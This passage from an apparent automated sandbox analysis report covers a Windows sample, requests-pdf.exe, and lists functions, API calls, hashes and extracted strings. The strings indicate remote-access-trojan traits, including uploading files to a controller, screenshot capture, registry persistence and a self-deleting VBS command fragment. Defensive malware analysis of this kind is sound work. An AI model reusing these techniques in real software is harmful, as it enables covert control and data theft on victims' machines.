                                                    • ExitProcess.KERNEL32 ref: 024DC137
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _wcslen$CreateDirectory$CloseExecuteExitHandleProcessShell
                                                    • String ID: 6$C:\Users\user\Desktop\requests-pdf.exe$BG$BG
                                                    • API String ID: 3303048660-2559052558
                                                    • Opcode ID: 0ce300c52b2574979d2682925cabc15749f3fad58451f58e2d3683bc22aef4dd
                                                    • Instruction ID: c1cb2a082ec16cbfed9b71f6154fb86066b222474d3a1619145df9876a593caa
                                                    • Opcode Fuzzy Hash: 0ce300c52b2574979d2682925cabc15749f3fad58451f58e2d3683bc22aef4dd
                                                    • Instruction Fuzzy Hash: 5551F3202043006BDA16F771ECB4F7F239BAF80744F90442FFA06A62D6DF949945CE6A
                                                    Function 00409E48 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • Sleep.KERNEL32(00001388), ref: 00409E62
                                                      • Part of subcall function 00409D97: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,00409E6F), ref: 00409DCD
                                                      • Part of subcall function 00409D97: GetFileSize.KERNEL32(00000000,00000000,?,?,?,00409E6F), ref: 00409DDC
                                                      • Part of subcall function 00409D97: Sleep.KERNEL32(00002710,?,?,?,00409E6F), ref: 00409E09
                                                      • Part of subcall function 00409D97: CloseHandle.KERNEL32(00000000,?,?,?,00409E6F), ref: 00409E10
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 00409E9E
                                                    • GetFileAttributesW.KERNEL32(00000000), ref: 00409EAF
                                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 00409EC6
                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 00409F40
                                                      • Part of subcall function 0041B61A: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,00403AF3,00465324), ref: 0041B633
                                                    • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00465900,00000000,00000000,00000000), ref: 0040A049
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                    • String ID: @CG$@CG$XCG$XCG$xAG$xAG
                                                    • API String ID: 3795512280-3163867910
                                                    • Opcode ID: 859471ff5ae44976aba126b0bcf56bf0f182264686a8061ac70fe12e31261d66
                                                    • Instruction ID: b7dfc09a395f5416f32c5fe597dbb364f69b6ed32616efff49b152d1c9b912f4
                                                    • Opcode Fuzzy Hash: 859471ff5ae44976aba126b0bcf56bf0f182264686a8061ac70fe12e31261d66
                                                    • Instruction Fuzzy Hash: 30518D716043005ACB05BB72D866ABF769AAFD1309F00053FF886B71E2DF3D9D44869A
                                                    Function 024DA0AF Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • Sleep.KERNEL32(00001388), ref: 024DA0C9
                                                      • Part of subcall function 024D9FFE: CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,024DA0D6), ref: 024DA034
                                                      • Part of subcall function 024D9FFE: GetFileSize.KERNEL32(00000000,00000000,?,?,?,024DA0D6), ref: 024DA043
                                                      • Part of subcall function 024D9FFE: Sleep.KERNEL32(00002710,?,?,?,024DA0D6), ref: 024DA070
                                                      • Part of subcall function 024D9FFE: CloseHandle.KERNEL32(00000000,?,?,?,024DA0D6), ref: 024DA077
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000), ref: 024DA105
                                                    • GetFileAttributesW.KERNEL32(00000000), ref: 024DA116
                                                    • SetFileAttributesW.KERNEL32(00000000,00000080), ref: 024DA12D
                                                    • PathFileExistsW.SHLWAPI(00000000,00000000,00000000,00000012), ref: 024DA1A7
                                                      • Part of subcall function 024EB881: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000,00000000,?,?,00000000,024D3D5A,00465324), ref: 024EB89A
                                                    • SetFileAttributesW.KERNEL32(00000000,00000006,00000013,00465900,00000000,00000000,00000000), ref: 024DA2B0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$AttributesCreate$Sleep$CloseDirectoryExistsHandlePathSize
                                                    • String ID: @CG$@CG$XCG$XCG$xAG$xAG
                                                    • API String ID: 3795512280-3163867910
                                                    • Opcode ID: f1eb223cb7d2e6894d1a2c78ceddde7f199078b5105718b7a6d2036e1116f8b0
                                                    • Instruction ID: 67c65e9dccab682a0191260e0a1c1d8a5b70bdff7590c75b259ab144cd0fb271
                                                    • Opcode Fuzzy Hash: f1eb223cb7d2e6894d1a2c78ceddde7f199078b5105718b7a6d2036e1116f8b0
                                                    • Instruction Fuzzy Hash: DE518F313043045BCB16FB769874ABF339BAB80340F40452FEE56A7296DFA59A05CE52
                                                    Function 0045006D Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • ___free_lconv_mon.LIBCMT ref: 004500B1
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F300
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F312
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F324
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F336
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F348
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F35A
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F36C
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F37E
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F390
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3A2
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3B4
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3C6
                                                      • Part of subcall function 0044F2E3: _free.LIBCMT ref: 0044F3D8
                                                    • _free.LIBCMT ref: 004500A6
                                                      • Part of subcall function 00446AC5: HeapFree.KERNEL32(00000000,00000000,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?), ref: 00446ADB
                                                      • Part of subcall function 00446AC5: GetLastError.KERNEL32(?,?,0044FA50,?,00000000,?,00000000,?,0044FCF4,?,00000007,?,?,00450205,?,?), ref: 00446AED
                                                    • _free.LIBCMT ref: 004500C8
                                                    • _free.LIBCMT ref: 004500DD
                                                    • _free.LIBCMT ref: 004500E8
                                                    • _free.LIBCMT ref: 0045010A
                                                    • _free.LIBCMT ref: 0045011D
                                                    • _free.LIBCMT ref: 0045012B
                                                    • _free.LIBCMT ref: 00450136
                                                    • _free.LIBCMT ref: 0045016E
                                                    • _free.LIBCMT ref: 00450175
                                                    • _free.LIBCMT ref: 00450192
                                                    • _free.LIBCMT ref: 004501AA
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                    • String ID:
                                                    • API String ID: 161543041-0
                                                    • Opcode ID: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                    • Instruction ID: 6df0fc8d0da410edbfddc8482cd9dc810a80ebbb5b2f86b8c24a0bb33e3d08c7
                                                    • Opcode Fuzzy Hash: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                    • Instruction Fuzzy Hash: 96317235500B00AFEB20AA35D845B5B73E5AF42355F15841FF849E7292DF39AC98CB1A
                                                    Function 025202D4 Relevance: 19.6, APIs: 13, Instructions: 114COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                    • ___free_lconv_mon.LIBCMT ref: 02520318
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F567
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F579
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F58B
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F59D
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F5AF
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F5C1
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F5D3
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F5E5
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F5F7
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F609
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F61B
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F62D
                                                      • Part of subcall function 0251F54A: _free.LIBCMT ref: 0251F63F
                                                    • _free.LIBCMT ref: 0252030D
                                                      • Part of subcall function 02516D2C: HeapFree.KERNEL32(00000000,00000000,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?), ref: 02516D42
                                                      • Part of subcall function 02516D2C: GetLastError.KERNEL32(?,?,0251FCB7,?,00000000,?,00000000,?,0251FF5B,?,00000007,?,?,0252046C,?,?), ref: 02516D54
                                                    • _free.LIBCMT ref: 0252032F
                                                    • _free.LIBCMT ref: 02520344
                                                    • _free.LIBCMT ref: 0252034F
                                                    • _free.LIBCMT ref: 02520371
                                                    • _free.LIBCMT ref: 02520384
                                                    • _free.LIBCMT ref: 02520392
                                                    • _free.LIBCMT ref: 0252039D
                                                    • _free.LIBCMT ref: 025203D5
                                                    • _free.LIBCMT ref: 025203DC
                                                    • _free.LIBCMT ref: 025203F9
                                                    • _free.LIBCMT ref: 02520411
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free$ErrorFreeHeapLast___free_lconv_mon
                                                    • String ID:
                                                    • API String ID: 161543041-0
                                                    • Opcode ID: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                    • Instruction ID: 1d3ff12aed3f8c92271b7dd7b71b9ac464725aa35b4cccb533e192cccb034a3c
                                                    • Opcode Fuzzy Hash: bcc467a133590e08c2246ffecdc9577bb20b6303625806e8b1892e2aaa35b24d
                                                    • Instruction Fuzzy Hash: A2316B32609216DFEB60AA79D944B5BBBEAFF65310F14441DE458D71E0DF32AC48CB18
                                                    Function 024E119D Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 238threadCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • GetCurrentProcessId.KERNEL32 ref: 024E11AC
                                                      • Part of subcall function 024E2A3C: RegCreateKeyA.ADVAPI32(80000001,00000000,TUF), ref: 024E2A4A
                                                      • Part of subcall function 024E2A3C: RegSetValueExA.ADVAPI32(TUF,000000AF,00000000,00000004,00000001,00000004,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A65
                                                      • Part of subcall function 024E2A3C: RegCloseKey.ADVAPI32(?,?,?,?,024DBBB3,004660E0,00000001,000000AF,00465554), ref: 024E2A70
                                                    • OpenMutexA.KERNEL32(00100000,00000000,00000000), ref: 024E11E8
                                                    • CreateThread.KERNEL32(00000000,00000000,00411637,00000000,00000000,00000000), ref: 024E124D
                                                      • Part of subcall function 024E271E: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,00000000), ref: 024E273E
                                                      • Part of subcall function 024E271E: RegQueryValueExA.ADVAPI32(00000000,?,00000000,?,?,?), ref: 024E275C
                                                      • Part of subcall function 024E271E: RegCloseKey.ADVAPI32(00000000), ref: 024E2767
                                                    • CloseHandle.KERNEL32(00000000), ref: 024E11F7
                                                      • Part of subcall function 024EA8ED: GetLocalTime.KERNEL32(00000000), ref: 024EA907
                                                    • OpenProcess.KERNEL32(001FFFFF,00000000,?), ref: 024E14C1
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseOpen$CreateProcessValue$CurrentHandleLocalMutexQueryThreadTime
                                                    • String ID: 0DG$TTF$WDH$BG
                                                    • API String ID: 65172268-1505503698
                                                    • Opcode ID: cfd1e48dead6c5d3f6b6817fbfe2d8e6c01e86e7030477cd0b94be603cb5524d
                                                    • Instruction ID: 81d6fbb8d7845ff3e01fd8a7194931f9706312da4f00532b1c95a34d7668b74c
                                                    • Opcode Fuzzy Hash: cfd1e48dead6c5d3f6b6817fbfe2d8e6c01e86e7030477cd0b94be603cb5524d
                                                    • Instruction Fuzzy Hash: E771D0316042005BDA15FB72DC61EAF73A6AFD0341F40456FF98B531A1EFA09A09CEA7
                                                    Function 00419128 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 174sleeptimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 0041912D
                                                    • 73525D90.GDIPLUS(00473AF0,?,00000000), ref: 0041915F
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 004191EB
                                                    • Sleep.KERNEL32(000003E8), ref: 0041926D
                                                    • GetLocalTime.KERNEL32(?), ref: 0041927C
                                                    • Sleep.KERNEL32(00000000,00000018,00000000), ref: 00419365
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Sleep$73525CreateDirectoryH_prologLocalTime
                                                    • String ID: XCG$XCG$XCG$time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
                                                    • API String ID: 751002821-65789007
                                                    • Opcode ID: 91d1b4f4dea65f3b826fcaa200c07d0103cb4320fd1aa60c718ca5279f5f8068
                                                    • Instruction ID: b922dce7c629cfc9b1bb11cb74a08c0e3353b39699bf4d86e46594d10c943285
                                                    • Opcode Fuzzy Hash: 91d1b4f4dea65f3b826fcaa200c07d0103cb4320fd1aa60c718ca5279f5f8068
                                                    • Instruction Fuzzy Hash: 33519F71A002449ACB14BBB5C856AFE7BA9AB55304F00407FF84AB71D2EF3C5E85C799
                                                    Function 0040428C Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 147networkCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • connect.WS2_32(?,?,?), ref: 004042A5
                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043CB
                                                    • CreateEventW.KERNEL32(00000000,00000000,00000001,00000000,?,?,?,0040192B), ref: 004043D5
                                                    • WSAGetLastError.WS2_32(?,?,?,0040192B), ref: 004043E7
                                                      • Part of subcall function 0041A686: GetLocalTime.KERNEL32(00000000), ref: 0041A6A0
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CreateEvent$ErrorLastLocalTimeconnect
                                                    • String ID: Connection Failed: $Connection Refused$TLS Authentication Failed$TLS Error 1$TLS Error 2$TLS Error 3$TLS Handshake... |
                                                    • API String ID: 994465650-2151626615
                                                    • Opcode ID: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                    • Instruction ID: b196b808fbc66b1ac8da6b4b51d7f626a0d3d22bc4cde50e21f83cd2c7739b74
                                                    • Opcode Fuzzy Hash: 62f3c4882b49c5ff5d63aa71430f88bee7d31ae11dd357ee521aebef95a1510e
                                                    • Instruction Fuzzy Hash: ED4128B1B00202A7CB04B77A8C5B66D7A55AB81368B40007FF901676D3EE7DAD6087DF
                                                    Function 0040C66D Relevance: 19.4, APIs: 3, Strings: 8, Instructions: 147COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00411699: TerminateProcess.KERNEL32(00000000,?,0040C67D), ref: 004116A9
                                                      • Part of subcall function 00411699: WaitForSingleObject.KERNEL32(000000FF,?,0040C67D), ref: 004116BC
                                                      • Part of subcall function 0041265D: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,?,00000208), ref: 00412679
                                                      • Part of subcall function 0041265D: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000000), ref: 00412692
                                                      • Part of subcall function 0041265D: RegCloseKey.ADVAPI32(?), ref: 0041269D
                                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000208), ref: 0040C6C7
                                                    • ShellExecuteW.SHELL32(00000000,open,00000000,00465900,00465900,00000000), ref: 0040C826
                                                    • ExitProcess.KERNEL32 ref: 0040C832
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Process$CloseExecuteExitFileModuleNameObjectOpenQueryShellSingleTerminateValueWait
                                                    • String ID: """, 0$.vbs$@CG$CreateObject("Scripting.FileSystemObject").DeleteFile(Wscript.ScriptFullName)$CreateObject("WScript.Shell").Run "cmd /c ""$Temp$exepath$open
                                                    • API String ID: 1913171305-390638927
                                                    • Opcode ID: ca681db5516d972aef640dc773a40398a070aaf6ba3dfca6e9b2ec7f30141ac0
                                                    • Instruction ID: a795a6540db69397e2c5d2b70f340dd787df27bacd58b350937fb1c0aad7b7c4
                                                    • Opcode Fuzzy Hash: ca681db5516d972aef640dc773a40398a070aaf6ba3dfca6e9b2ec7f30141ac0
                                                    • Instruction Fuzzy Hash: A2416D329001185ACB14F762DC56DFE7779AF50718F50417FF906B30E2EE386A8ACA99
                                                    Function 0044F3E1 Relevance: 18.4, APIs: 12, Instructions: 376COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: _free
                                                    • String ID:
                                                    • API String ID: 269201875-0
                                                    • Opcode ID: 6a70e4c358ef45cffe19a9afdbed41fda2ec9c769272c29d9eaec76f650a350b
                                                    • Instruction ID: 48066223020562dfe8895eb3edc0e70975ef38ab3c96fc6f1fb07286cb8ca08d
                                                    • Opcode Fuzzy Hash: 6a70e4c358ef45cffe19a9afdbed41fda2ec9c769272c29d9eaec76f650a350b
                                                    • Instruction Fuzzy Hash: 2BC15772D80204BFEB20DBA9CC82FDE77F89B45704F15416AFA04FB282D6749D458B58
                                                    Function 004047EB Relevance: 18.1, APIs: 12, Instructions: 66synchronizationCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,00475B70,?,?,00000000,00475B70,004017F3), ref: 004047FD
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404808
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404811
                                                    • closesocket.WS2_32(?), ref: 0040481F
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 00404856
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404867
                                                    • WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00475B70,004017F3), ref: 0040486E
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404880
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404885
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 0040488A
                                                    • SetEvent.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 00404895
                                                    • CloseHandle.KERNEL32(?,?,?,00000000,00475B70,004017F3), ref: 0040489A
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                                    • String ID:
                                                    • API String ID: 3658366068-0
                                                    • Opcode ID: 064d6b1f915996a70041b40538a6eeea030a706771223880b65586d948e925f6
                                                    • Instruction ID: 5504d0c870acfe65fd0076db90b097e51f0e6d2514c589c74abed5ba37c9c78a
                                                    • Opcode Fuzzy Hash: 064d6b1f915996a70041b40538a6eeea030a706771223880b65586d948e925f6
                                                    • Instruction Fuzzy Hash: 3C212C71104B149FCB216B26EC45A27BBE1EF40325F104A7EF2E612AF1CB76E851DB48
                                                    Function 024D8056 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 325fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,000000B6), ref: 024D81B3
                                                    • GetFileSizeEx.KERNEL32(00000000,00000000), ref: 024D8229
                                                    • __aulldiv.LIBCMT ref: 024D8250
                                                    • SetFilePointerEx.KERNEL32(00000000,?,?,00000000,00000000), ref: 024D8374
                                                    • ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 024D838F
                                                    • CloseHandle.KERNEL32(00000000), ref: 024D8467
                                                    • CloseHandle.KERNEL32(00000000,00000052,00000000,?), ref: 024D8481
                                                    • CloseHandle.KERNEL32(00000000), ref: 024D84BD
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: File$CloseHandle$CreatePointerReadSize__aulldiv
                                                    • String ID: Uploading file to Controller: $>G
                                                    • API String ID: 1884690901-111729153
                                                    • Opcode ID: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                    • Instruction ID: dae05385197b9e918b1bb951cfc2e889115e3b6de3caff60ae6d1be8d749140c
                                                    • Opcode Fuzzy Hash: 7205d9af98df91b965123a054d585fa7c0d52e82773df9d6c890248cdbc6b411
                                                    • Instruction Fuzzy Hash: 1FB180716083409FC615FB25C864BAFB7A6AFC4310F40891EF98A52291EF71994A8F97
                                                    Function 00454982 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 272COMMONLIBRARYCODE
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00454650: CreateFileW.KERNEL32(00000000,?,?,+JE,?,?,00000000,?,00454A2B,00000000,0000000C), ref: 0045466D
                                                    • GetLastError.KERNEL32 ref: 00454A96
                                                    • __dosmaperr.LIBCMT ref: 00454A9D
                                                    • GetFileType.KERNEL32(00000000), ref: 00454AA9
                                                    • GetLastError.KERNEL32 ref: 00454AB3
                                                    • __dosmaperr.LIBCMT ref: 00454ABC
                                                    • CloseHandle.KERNEL32(00000000), ref: 00454ADC
                                                    • CloseHandle.KERNEL32(?), ref: 00454C26
                                                    • GetLastError.KERNEL32 ref: 00454C58
                                                    • __dosmaperr.LIBCMT ref: 00454C5F
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432182180.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                    • Associated: 00000000.00000002.2432182180.0000000000473000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    • Associated: 00000000.00000002.2432182180.0000000000476000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_400000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
                                                    • String ID: H
                                                    • API String ID: 4237864984-2852464175
                                                    • Opcode ID: 94e5f03e1cf7e8f359c85968d70eb69ffcfa8792d2621fa82c5f53a56fd3f15b
                                                    • Instruction ID: 324c09394b40af715295ff654573b8bda7a64cd12b4111e7ce26936e53f9a861
                                                    • Opcode Fuzzy Hash: 94e5f03e1cf7e8f359c85968d70eb69ffcfa8792d2621fa82c5f53a56fd3f15b
                                                    • Instruction Fuzzy Hash: B0A148329041044FDF19EF78D8427AE7BA0AB86319F14015EFC159F392DB398C86C75A
                                                    Function 024E938F Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 174sleeptimeCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • __EH_prolog.LIBCMT ref: 024E9394
                                                    • CreateDirectoryW.KERNEL32(00000000,00000000,00000000,0000001A,00000019), ref: 024E9452
                                                    • Sleep.KERNEL32(000003E8), ref: 024E94D4
                                                    • GetLocalTime.KERNEL32(?), ref: 024E94E3
                                                    • Sleep.KERNEL32(00000000,00000018,00000000), ref: 024E95CC
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000000.00000002.2432793531.00000000024D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 024D0000, based on PE: false
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_0_2_24d0000_requests-pdf.jbxd
                                                    Yara matches
                                                    Similarity
                                                    • API ID: Sleep$CreateDirectoryH_prologLocalTime
                                                    • String ID: XCG$XCG$XCG$time_%04i%02i%02i_%02i%02i%02i$wnd_%04i%02i%02i_%02i%02i%02i
                                                    • API String ID: 3069631530-65789007
                                                    • Opcode ID: a40dca5e55645720ca30496181093a362b70aa5652279529810e28997b425322
                                                    • Instruction ID: d9c0a8e2a24d44354c02f01b540259d201ab0bc4b9231e7d70efd6bc9e4a8203
                                                    • Opcode Fuzzy Hash: a40dca5e55645720ca30496181093a362b70aa5652279529810e28997b425322
                                                    • Instruction Fuzzy Hash: 7D51C071A002449ADF24FBB5CCA4AFE77BAAF44301F40406FE90AA7181EF644D85CF91
                                                    Function 0040A3F4 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 158sleepCOMMON
                                                    Download Yara Rule
                                                    APIs
